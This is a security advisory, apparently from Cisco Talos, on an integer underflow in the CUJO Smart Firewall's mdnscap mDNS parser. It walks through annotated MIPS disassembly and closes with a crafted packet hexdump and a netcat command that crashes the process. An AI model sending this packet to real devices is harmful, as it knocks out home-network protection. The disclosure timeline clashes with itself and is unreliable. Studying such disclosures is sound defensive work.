CVE-2018-4011
An exploitable integer underflow vulnerability exists in the mdnscap
binary of the CUJO Smart Firewall, version 7003. When parsing SRV records in an mDNS packet, the “RDLENGTH” value is handled incorrectly, leading to an out-of-bounds access that crashes the mdnscap
process. An unauthenticated attacker can send an mDNS message to trigger this vulnerability.
CUJO Smart Firewall - Firmware version 7003
https://www.getcujo.com/smart-firewall-cujo/
6.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
CWE-191: Integer Underflow (Wrap or Wraparound)
CUJO AI produces the CUJO Smart Firewall, a device aimed at protecting home networks from a variety of threats, such as malware, phishing websites and hacking attempts. It also provides a way to monitor specific devices in the network and limit their internet access.
CUJO works as a gateway and splits the home network in two: a monitored network and an unmonitored network (where the main home router is). This way, it can inspect (and block) malicious traffic on the internet. They also provide Android and iOS applications for managing the device.
The board utilizes an OCTEON III CN7020 processor produced by Cavium Networks, which has a cnMIPS64 microarchitecture.
The firmware is present in the external eMMC and is based on OCTEON’s SDK, which results in a Linux-based operating system running a kernel with PaX patches.
During normal operation, the core process is agent
— it establishes a persistent WebSocket over TLS communication with the remote CUJO server agent.cujo.io
on port 444, which enables an indirect and remote communication with the smartphone application. This process also communicates with “tappers”, which are processes meant to listen for a variety of network activities.
CUJO uses a set of custom “tappers” and other known network-related tools, whose names are self-explanatory: mdnscap
, dnscap
, dhcpcap
, arp-mitm
, p0f
, softflowd
, scannerd
, snort
. The device continuously updates the remote server when new network activities are detected.
In particular, the mdnscap
binary collects mDNS packets from the network. It does so by using the libpcap library.
Before starting the packet capture, the main
function drops the process’ privileges, constraining it in a chroot environment running as the _mdnscap
user.
Shortly after, the functions pcap_compile
and pcap_loop
are used to call the function sub_3F14
every time an UDP packet is received on port 5353.
.text:00003F14 # sub_3F14(struct pcap_user_cujo *user, const struct pcap_pkthdr *pkthdr, const char *data)
.text:00003F14
.text:00003F14 000 li $gp, 0x1B0EC
.text:00003F1C 000 addu $gp, $t9
.text:00003F20 000 addiu $sp, -0xA8
.text:00003F24 0A8 sw $ra, 0xA8+var_4($sp)
.text:00003F28 0A8 sw $fp, 0xA8+var_8($sp)
.text:00003F2C 0A8 move $fp, $sp
.text:00003F30 0A8 sw $gp, 0xA8+var_90($sp)
.text:00003F34 0A8 sw $a0, 0xA8+user($fp)
.text:00003F38 0A8 sw $a1, 0xA8+pkthdr($fp)
.text:00003F3C 0A8 sw $a2, 0xA8+data($fp) # [1]
...
.text:00003FB4 0A8 lw $v0, 0xA8+pkthdr($fp)
.text:00003FB8 0A8 nop
.text:00003FBC 0A8 lw $v0, pcap_pkthdr.caplen($v0)
.text:00003FC0 0A8 nop
.text:00003FC4 0A8 sw $v0, 0xA8+caplen($fp)
...
.text:00003FE8 0A8 addiu $v1, $fp, 0xA8+caplen
.text:00003FEC 0A8 addiu $v0, $fp, 0xA8+data
.text:00003FF0 0A8 move $a3, $a1
.text:00003FF4 0A8 move $a2, $a0
.text:00003FF8 0A8 move $a1, $v1
.text:00003FFC 0A8 move $a0, $v0
.text:00004000 0A8 li $v0, 0
.text:00004004 0A8 nop
.text:00004008 0A8 addiu $v0, parse_ether
.text:0000400C 0A8 move $t9, $v0
.text:00004010 0A8 bal parse_ether # [2]
...
.text:00004058 0A8 bal parse_ip # [3]
...
.text:000040A4 0A8 bal parse_udp # [4]
...
.text:00004138 0A8 bal parse_mdns # [5]
The packet data is passed as third parameter [1]. The function then parses the Ethernet [2], IP [3] and UDP layers [4]. Finally the mDNS payload is parsed by calling function [5].
.text:000039E0 parse_mdns:
...
.text:00003AE8 060 lw $v0, 0x60+mdns_data($fp) # [6]
.text:00003AEC 060 nop
.text:00003AF0 060 lhu $v1, 2($v0) # flags
.text:00003AF4 060 li $v0, 0xFFFF8000
.text:00003AF8 060 and $v0, $v1, $v0
.text:00003AFC 060 andi $v0, 0xFFFF
.text:00003B00 060 beqz $v0, loc_3B28 # [7] ensure QR=1
.text:00003B04 060 nop
.text:00003B08 060 lw $v0, 0x60+mdns_data($fp)
.text:00003B0C 060 nop
.text:00003B10 060 lhu $v0, 2($v0)
.text:00003B14 060 nop
.text:00003B18 060 andi $v0, 0x200
.text:00003B1C 060 andi $v0, 0xFFFF
.text:00003B20 060 beqz $v0, loc_3B34 # [8] ensure TC=0
.text:00003B24 060 nop
...
.text:00003B34 loc_3B34:
...
.text:00003BBC 060 addiu $a1, $v0, aQueries # "QUERIES:\n"
.text:00003BC0 060 move $a0, $zero
.text:00003BC4 060 la $v0, verbprintind
.text:00003BC8 060 nop
.text:00003BCC 060 move $t9, $v0
.text:00003BD0 060 bal verbprintind
...
.text:00003C18 060 sw $zero, 0x60+query($sp) # type
.text:00003C1C 060 move $a3, $a0 # mdns_total_entries
.text:00003C20 060 move $a2, $v1 # mdns_sections_ptr
.text:00003C24 060 lw $a1, 0x60+mdns_data_end($fp) # mdns_data_end
.text:00003C28 060 lw $a0, 0x60+mdns_data_2($fp) # mdns_data
.text:00003C2C 060 li $v0, 0
.text:00003C30 060 nop
.text:00003C34 060 addiu $v0, parse_mdns_records
.text:00003C38 060 move $t9, $v0
.text:00003C3C 060 bal parse_mdns_records # [9]
...
.text:00003C6C 060 addiu $a1, $v0, aAnswers # "ANSWERS:\n"
...
.text:00003CF0 060 bal parse_mdns_records # [10]
...
.text:00003D20 060 addiu $a1, $v0, aAuthority # "AUTHORITY:\n"
...
.text:00003DA4 060 bal parse_mdns_records # [11]
...
.text:00003DD4 060 addiu $a1, $v0, aAdditional # "ADDITIONAL:\n"
...
.text:00003E58 060 bal parse_mdns_records # [12]
The function receives the mDNS payload at [6], and ensures that the DNS header has QR=1 [7] (which corresponds to a response), and TC=0 [8] (which means the message is not truncated).
Then, for each section (“question” [9], “answer” [10], “authority” [11] and “additional” [12]), the function parse_mdns_records
is called.
.text:000035F0 # parse_mdns_records(char *mdns_data, char *mdns_data_end, char mdns_sections_ptr, char *mdns_total_entries, char type)
.text:000035F0
...
.text:00003674 060 b loc_3928
.text:00003678 060 nop
.text:0000367C
.text:0000367C loc_367C: # [13] loop
.text:0000367C 060 lw $a2, 0x60+mdns_sections_ptr($fp)
.text:00003680 060 lw $a1, 0x60+mdns_data_end($fp)
.text:00003684 060 lw $a0, 0x60+mdns_data($fp)
.text:00003688 060 li $v0, 0
.text:0000368C 060 nop
.text:00003690 060 addiu $v0, dns_parse_name
.text:00003694 060 move $t9, $v0
.text:00003698 060 bal dns_parse_name # [14]
.text:0000369C 060 nop
.text:000036A0 060 lw $gp, 0x60+var_48($fp)
.text:000036A4 060 sw $v0, 0x60+query_name($fp) # [15]
.text:000036A8 060 lw $v0, 0x60+query_name($fp)
.text:000036AC 060 nop
.text:000036B0 060 beqz $v0, loc_394C # [21]
.text:000036B4 060 nop
.text:000036B8 060 la $v0, _fbss
.text:000036BC 060 nop
.text:000036C0 060 lw $v1, (_fbss - 0x17148)($v0)
.text:000036C4 060 lw $a2, 0x60+query_name($fp)
.text:000036C8 060 li $v0, 0
.text:000036CC 060 nop
.text:000036D0 060 addiu $a1, $v0, aNameS # "NAME: %s\n"
.text:000036D4 060 move $a0, $v1
.text:000036D8 060 la $v0, verbprintind
.text:000036DC 060 nop
.text:000036E0 060 move $t9, $v0
.text:000036E4 060 bal verbprintind
.text:000036E8 060 nop
.text:000036EC 060 lw $gp, 0x60+var_48($fp)
.text:000036F0 060 lbu $v1, 0x60+var_31($fp)
.text:000036F4 060 addiu $v0, $fp, 0x60+var_1E
.text:000036F8 060 sw $v0, 0x60+var_50($sp)
.text:000036FC 060 move $a3, $v1
.text:00003700 060 lw $a2, 0x60+mdns_sections_ptr($fp)
.text:00003704 060 lw $a1, 0x60+mdns_data_end($fp)
.text:00003708 060 lw $a0, 0x60+mdns_data($fp)
.text:0000370C 060 li $v0, 0
.text:00003710 060 nop
.text:00003714 060 addiu $v0, dns_parse_qr
.text:00003718 060 move $t9, $v0
.text:0000371C 060 bal dns_parse_qr # [16]
.text:00003720 060 nop
.text:00003724 060 lw $gp, 0x60+var_48($fp)
.text:00003728 060 sw $v0, 0x60+query_qr($fp) # [17]
The function loops [13] over each entry in the section (either “question”, “answer”, “authority” or “additional”).
At [14] the entry’s DNS name is extracted by calling dns_parse_name
, which returns a pointer to a heap buffer, then stored on the stack [15] (query_name
).
Next, the function extracts the “RDATA” field by calling dns_parse_qr
[16], which returns a pointer to a heap buffer, then stored on the stack [17] (query_qr
). Note that since the “RDATA” field only exists in resource records, a pointer to an empty string is returned when the section is “question”.
For sections “answer”, “authority”, and “additional”, dns_parse_qr
calls the function parse_rr
which performs the actual “RDATA” extraction.
.text:0000261C parse_rr:
...
.text:00002688 lhu $v0, 0x58+var_30($fp) # [18]
.text:0000268C nop
.text:00002690 sltiu $v1, $v0, 0x22 # switch 34 cases
.text:00002694 beqz $v1, def_26BC # jumptable 000026BC default case
.text:00002698 nop
.text:0000269C sll $v1, $v0, 2
.text:000026A0 li $v0, 0
.text:000026A4 nop
.text:000026A8 addiu $v0, rr_handlers
.text:000026AC addu $v0, $v1, $v0
.text:000026B0 lw $v0, 0($v0)
.text:000026B4 nop
.text:000026B8 addu $v0, $gp
.text:000026BC jr $v0 # [19] switch jump
.text:000026C0 nop
...
.text:000028AC loc_28AC:
.text:000028AC lw $v0, 0x58+data_ptr($fp) # jumptable 000026BC case 33 - SRV
.text:000028B0 nop
.text:000028B4 addiu $v1, $v0, 6 # [21]
.text:000028B8 lhu $v0, 0x58+rdlength($fp) # [22]
.text:000028BC nop
.text:000028C0 addiu $v0, -6 # [23]
.text:000028C4 move $a1, $v0
.text:000028C8 move $a0, $v1
.text:000028CC li $v0, 0
.text:000028D0 nop
.text:000028D4 addiu $v0, collect_strings
.text:000028D8 move $t9, $v0
.text:000028DC bal collect_strings # [20]
.text:000028E0 nop
...
Based on the resource record type [18], the “RDATA” parsing is handled differently [19].
When the resource record type is “SRV” (33), the function collect_strings
[20] is invoked to extract the character-strings present in the “RDATA” field (see https://tools.ietf.org/html/rfc1035#section-3.3).
The function expects the rdata
pointer [21] and the rdlength
[22] as parameters. It returns a heap buffer containing the “RDATA” character-strings having each of them separated by spaces.
As we can see at [23], the number “6” is subtracted from rdlength
without checking the value of rdlength
first. This means that if rdlength
has a value between 0 and 5, an integer underflow occurs. In such a case, an overly large rdlength
value would be passed to the collect_strings
function, which trusts the value sent by the caller.
.text:000021A8 collect_strings:
.text:000021A8
...
.text:000021C8 sw $a0, 0x38+rdata($fp) # [21]
.text:000021CC sw $a1, 0x38+rdlength($fp) # [22]
...
.text:000021E4 sw $zero, 0x38+buffer($fp)
.text:000021E8 sw $zero, 0x38+counter($fp)
.text:000021EC lw $v0, 0x38+rdlength($fp)
.text:000021F0 nop
.text:000021F4 addiu $v0, 1 # [24]
.text:000021F8 li $a1, 1
.text:000021FC move $a0, $v0
.text:00002200 la $v0, calloc # [25]
.text:00002204 nop
.text:00002208 move $t9, $v0
.text:0000220C jalr $t9 ; calloc
.text:00002210 nop
.text:00002214 lw $gp, 0x38+var_28($fp)
.text:00002218 sw $v0, 0x38+buffer($fp)
.text:0000221C lw $v0, 0x38+buffer($fp)
.text:00002220 nop
.text:00002224 bnez $v0, loc_2340 # [26] loop start
...
.text:00002268 loc_2268: # append a space
.text:00002268 lw $v0, 0x38+counter($fp)
.text:0000226C nop
.text:00002270 beqz $v0, loc_228C
.text:00002274 nop
.text:00002278 li $v0, 0
.text:0000227C nop
.text:00002280 addiu $v0, asc_5F44 # " "
.text:00002284 b loc_2298
.text:00002288 nop
.text:0000228C
.text:0000228C loc_228C: # append empty string
.text:0000228C li $v0, 0
.text:00002290 nop
.text:00002294 addiu $v0, unk_5E40
.text:00002298
.text:00002298 loc_2298:
.text:00002298 move $a1, $v0
.text:0000229C lw $a0, 0x38+buffer($fp)
.text:000022A0 la $v0, strcat
.text:000022A4 nop
.text:000022A8 move $t9, $v0
.text:000022AC jalr $t9 ; strcat # [31]
.text:000022B0 nop
.text:000022B4 lw $gp, 0x38+var_28($fp)
.text:000022B8 lw $v0, 0x38+counter($fp)
.text:000022BC nop
.text:000022C0 addiu $v0, 1
.text:000022C4 lw $v1, 0x38+rdata($fp)
.text:000022C8 nop
.text:000022CC addu $a0, $v1, $v0
.text:000022D0 lw $v1, 0x38+rdata($fp)
.text:000022D4 lw $v0, 0x38+counter($fp)
.text:000022D8 nop
.text:000022DC addu $v0, $v1, $v0
.text:000022E0 lbu $v0, 0($v0)
.text:000022E4 nop
.text:000022E8 move $a2, $v0
.text:000022EC move $a1, $a0
.text:000022F0 lw $a0, 0x38+buffer($fp)
.text:000022F4 la $v0, strncat
.text:000022F8 nop
.text:000022FC move $t9, $v0
.text:00002300 jalr $t9 ; strncat # [32]
.text:00002304 nop
.text:00002308 lw $gp, 0x38+var_28($fp)
.text:0000230C lw $v1, 0x38+rdata($fp)
.text:00002310 lw $v0, 0x38+counter($fp)
.text:00002314 nop
.text:00002318 addu $v0, $v1, $v0
.text:0000231C lb $v0, 0($v0)
.text:00002320 nop
.text:00002324 andi $v0, 0xFF
.text:00002328 move $v1, $v0
.text:0000232C lw $v0, 0x38+counter($fp)
.text:00002330 nop
.text:00002334 addu $v0, $v1, $v0 # [33]
.text:00002338 addiu $v0, 1 # [34]
.text:0000233C sw $v0, 0x38+counter($fp)
.text:00002340
.text:00002340 loc_2340: # [27] loop start
.text:00002340 lw $v1, 0x38+counter($fp)
.text:00002344 lw $v0, 0x38+rdlength($fp)
.text:00002348 nop
.text:0000234C sltu $v0, $v1, $v0 # [28]
.text:00002350 beqz $v0, loc_2388
.text:00002354 nop
.text:00002358 lw $v1, 0x38+rdata($fp)
.text:0000235C lw $v0, 0x38+counter($fp)
.text:00002360 nop
.text:00002364 addu $v0, $v1, $v0
.text:00002368 lbu $v0, 0($v0) # [29]
.text:0000236C nop
.text:00002370 move $v1, $v0
.text:00002374 lw $v0, 0x38+rdlength($fp)
.text:00002378 nop
.text:0000237C sltu $v0, $v1, $v0 # [30]
.text:00002380 bnez $v0, loc_2268
.text:00002384 nop
.text:00002388 loc_2388:
... # exit loop
At [25] a buffer of size rdlength+1
is allocated on the heap.
If the allocation succeeds [26], a loop starts at [27] to extract each character-string. The counter
variable keeps track of the number of bytes written to the buffer. At [28] counter
is checked to be not bigger than rdlength
.
Next, the length octet pointed by rdata
[29], is checked to be smaller than rdlength
[30], in which case the character-string is appended to the buffer [32] adding a space separator [31] when more than one character-string is present.
The counter is updated ([33], [34]) and the loop continues.
Assuming that an integer overflow occurred at [21], possible initial values (at [22]) of rdlength
range from 0xfffffffa
to 0xffffffff
. After incrementing rdlength
by one [24], the values range from 0xfffffffb
to 0
.
Since this value is passed to calloc
at [25], the only valid rdlength
value is 0xffffffff
. In fact, this would result in calling calloc(0)
, which returns a non-NULL value, making the execution continue normally and looping until the counter reaches 0xffffffff
. Since such a limit is too big, the execution will crash earlier, during either the strcat
[31] or the strncat
calls [32], while performing an out of bounds access on the heap.
In all other cases (rdlength
from 0xfffffffa
to 0xfffffffe
), calloc
would return “NULL” since the size
parameter would be too big to allocate, making the function to never enter the loop [26] and exit early without memory corruptions.
An unauthenticated attacker can thus exploit this vulnerability by using an rdlength
value of 0x05
, in order to crash the mdnscap
process.
The following proof of concept shows how to crash the mdnscap
process.
Consider the following input file:
$ hexdump input.bin
0000000 12 34 80 00 00 00 00 01 00 00 00 00 03 41 42 43
0000010 00 00 21 aa aa aa aa aa aa 00 05 bb bb bb bb bb
0000020
We have one “answer” entry, whose name is “ABC”.
This entry specifies a resource record of type 0x21 (“SRV”), with an “RDLENGTH” of 0x05.
The following command crashes mdnscap
:
$ nc -u $CUJO_IP 5353 < input.bin
2019-09-18 - Vendor Disclosure
2019-03-19 - Public Release
Discovered by Claudio Bozzato of Cisco Talos.